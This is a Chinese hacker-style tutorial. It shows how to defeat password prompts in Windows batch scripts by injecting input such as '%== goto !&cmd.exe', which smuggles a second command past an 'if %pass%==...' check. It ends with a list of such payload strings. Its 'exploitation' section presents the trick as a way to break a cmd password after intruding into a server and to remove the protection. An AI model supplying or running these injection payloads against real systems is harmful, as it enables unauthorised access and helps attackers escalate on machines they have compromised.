|
Dos下的溢出--代码型的程序溢处
第一节(由来篇):
前几天上网的时候,无意间看见一个给CMD加密码方法,于是试了一下还不
错,于是忽然有了一个想法,能不能破解掉?于是乎,就有了以下这些东西.
上网搜了一下,发现还没有直接在CMD里破解的方法,都是绕过,或者爆破(
输入\"<\" \">\" \"|\"之类的符号,导致批处理出错,关闭),但是好像不行,没有一点技
术含量.
看了一下密码的验证的整个过程,发现不论什么批处理,都是两条代
码:\"set /p pass==请输入密码:\",\"if %pass%==hackerrose goto ok\"这两句命令
就不用解释了,家都明白.现在看这个验证命令\"if %pass%==hackerrose goto
ok\",发现不论上边输入的是什么字符都会加载到该命令里执行,那么我们能不能构
建特殊代码跳过这个过程?或者加载某个特殊命令?
第二节原理篇)
开始构建特殊代码,看看这条命令:\"if %pass%==hackerrose goto ok\"(
如果pass='hackerrose'那么跳转到OK),不难发现,当密码正确时就会跳到OK处继
续执行.那么,我们目的就是让程序跳到OK处.开始构建溢出代码....
先看一下可以利用的地方\"if %pass%==hackerrose goto ok\",只有pass
可以替换成任意字符,那么只有到这里做文章了.
先去掉pass,变成\"if %%==hackerrose goto ok\",先要完成程序的判断过
程,否则这条命令不能运行,让pass='pass%==hackerrose goto ok',则命令变
成\"if %pass%==hackerrose goto ok%==hackerrose goto ok\",这样后面的\"%
==hackerrose goto ok\"由于变量最后缺少一个%,不完整,所以无效.再回过头来看
看还可以加些什么...
当IF判断命令执行完后,密码错误,跳转没有实现.看看我们加些什么可以
让跳转实现,大家都知道在批处理中\"&\"和\"&&\"可以将两条命令并做一条执行.那还
等什么,赶紧给后边加上\"&goto ok\"试试.那么pass='pass%==hackerrose goto ok
&goto ok',命令就变成了:if %pass%==hackerrose goto ok &goto
ok==hackerrose goto ok. 填进去试试
溢出成功!程序成功跳到了OK标记处!简单的溢出代码就构建完成了!
第三节深入篇)
现在,我们成功的溢出了密码的验证过程,光有这些还不够,还要深入研究
下.
继续看溢出代码pass=\"pass%==hackerrose goto ok &goto ok\",发现前
面的%pass%变量就没有用,因为程序会把我们填写的溢出代码与密码比较,自然不
相等了,那么直接将变量去掉,这里要注意了,变量不能完全去掉,否则前边的if判
断语句不能完成命令就会出错,但是我们可以将变量名去掉,只留下%%,那么代码就
变成了pass=\"%==hackerrose goto ok &goto ok\",试一下...溢出成功!!
继续深入,既然变量名字都没了,那还跟密码比较什么?'hackerrose'干脆
也去掉,代码变成:pass=\"%== goto ok &goto ok\",试一下.....溢出成功!!!
继续深入,代码中前面的'goto ok'没有实际的作用,只不过是为了完成if
的判断命令,那么跳转的标记我们可以随便改,但是注意不能留空!负责if判断命令
不能完成,出错.改成任意一个字符,只要不导致批处理出错就行了,换成'!'看看.
代码就变成了pass=\"%== goto !&goto ok\",拿去试试....照样溢出成功!
第四节原理篇)
搞了这么久,相信大家也都看懂了,其实我们就是利用程序过滤不严,构建
了特殊代码,程序加载执行了外部代码,导致程序溢出(貌似和SQL注入很相似^.^).
其实'&'的后边不一定跟'goto ok',你也可以跟自己想要执行的DOS命令,但是只限
单独命令一条.
第五节利用篇)
这个溢出的利用其实很简单,就是破解加密的cmd的密码.某天入侵了一台
服务器,提权时发现cmd加密了,就不再那么郁闷了.用溢出代码轻松搞定!还能取消
加密..还可以轻松破掉各种批处理的密码等等.....大家自己开发利用.
文章写的不好,大家见谅,不要骂我哦,如果有不足的地方,还希望高手帮
忙指正... ^.^
我的QQ号:398892066或者624118310
Blog: Http://blog.hackerrose.cn
QQ技术交流群:1940313
欢迎大家前来技术交流!
原始代码:
pass%==hackerrose goto ok &goto ok
第一种:
%==hackerrose goto rose &cmd.exe
%==hackerrose goto rose &goto 2
第二种:
%== goto hackerrose &cmd.exe
%== goto hackerrose &goto 2
第三种:
%== goto !&cmd.exe
%== goto ~&cmd.exe
%== goto .&cmd.exe
%== goto @&cmd.exe
%== goto $&cmd.exe
%== goto %&cmd.exe
%== goto ^&cmd.exe
%== goto *&cmd.exe
%== goto -&cmd.exe
%== goto +&cmd.exe
%== goto _&cmd.exe
%== goto '&cmd.exe
%== goto ?&cmd.exe
%== goto /&cmd.exe
%== goto \\&cmd.exe
终极用法:
清除密码:%== goto ! |
|